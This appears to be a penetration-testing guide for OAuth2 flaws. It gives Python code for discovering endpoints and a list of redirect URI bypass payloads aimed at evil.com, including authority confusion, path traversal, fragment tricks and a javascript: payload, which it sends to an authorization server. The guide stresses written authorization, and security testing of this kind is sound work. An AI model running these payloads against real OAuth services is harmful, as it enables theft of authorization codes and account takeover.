Testing OAuth2 Implementation Flaws

When to Use

• Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses
• Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement
• Evaluating token storage, transmission, and lifecycle management in OAuth implementations
• Testing scope escalation where clients request more permissions than authorized
• Assessing OpenID Connect implementations for ID token validation and nonce usage

Do not use without written authorization. OAuth testing may result in token theft or unauthorized access.

Prerequisites

• Written authorization specifying the OAuth provider and client applications in scope
• Test OAuth client registered with the authorization server
• Burp Suite Professional for intercepting OAuth redirects and token flows
• Python 3.10+ with requests and oauthlib libraries
• Browser developer tools for observing OAuth redirect chains
• Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials)

Workflow

Step 1: OAuth Flow Reconnaissance

import requests
import urllib.parse
import re
import hashlib
import base64
import secrets

AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"

# Discover OAuth endpoints
well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration")
if well_known.status_code == 200:
    config = well_known.json()
    print("OAuth/OIDC Configuration:")
    print(f"  Authorization: {config.get('authorization_endpoint')}")
    print(f"  Token: {config.get('token_endpoint')}")
    print(f"  UserInfo: {config.get('userinfo_endpoint')}")
    print(f"  JWKS: {config.get('jwks_uri')}")
    print(f"  Supported grants: {config.get('grant_types_supported')}")
    print(f"  Supported scopes: {config.get('scopes_supported')}")
    print(f"  PKCE methods: {config.get('code_challenge_methods_supported')}")
    auth_endpoint = config['authorization_endpoint']
    token_endpoint = config['token_endpoint']
else:
    # Try common paths
    for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]:
        resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False)
        if resp.status_code in (302, 400):
            print(f"Authorization endpoint found: {AUTH_SERVER}{path}")
            auth_endpoint = f"{AUTH_SERVER}{path}"
            break

Step 2: Redirect URI Validation Testing

# Test redirect_uri validation strictness
REDIRECT_BYPASS_PAYLOADS = [
    # Open redirect variations
    REDIRECT_URI,                                          # Legitimate
    "https://evil.com",                                    # Different domain
    "https://app.example.com.evil.com/callback",          # Subdomain of attacker
    "https://app.example.com@evil.com/callback",          # URL authority confusion
    f"{REDIRECT_URI}/../../../evil.com",                  # Path traversal
    f"{REDIRECT_URI}?next=https://evil.com",              # Parameter injection
    f"{REDIRECT_URI}#https://evil.com",                   # Fragment injection
    f"{REDIRECT_URI}%23evil.com",                         # Encoded fragment
    "https://app.example.com/callback/../../evil",        # Relative path
    "https://APP.EXAMPLE.COM/callback",                   # Case variation
    "https://app.example.com/Callback",                   # Path case variation
    "https://app.example.com/callback/",                  # Trailing slash
    "https://app.example.com/callback?",                  # Trailing question mark
    "http://app.example.com/callback",                    # HTTP downgrade
    "https://app.example.com:443/callback",               # Explicit port
    "https://app.example.com:8443/callback",              # Different port
    f"{REDIRECT_URI}/.evil.com",                          # Dot segment
    "https://app.example.com/callbackevil",               # Path prefix match
    "javascript://app.example.com/callback%0aalert(1)",   # JavaScript protocol
]

print("=== Redirect URI Validation Testing ===\n")
for redirect in REDIRECT_BYPASS_PAYLOADS:
    params = {
        "response_type": "code",
        "client_id": CLIENT_ID,
        "redirect_uri": redirect,
        "scope": SCOPE,
        "state": secrets.token_urlsafe(32),
    }
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)


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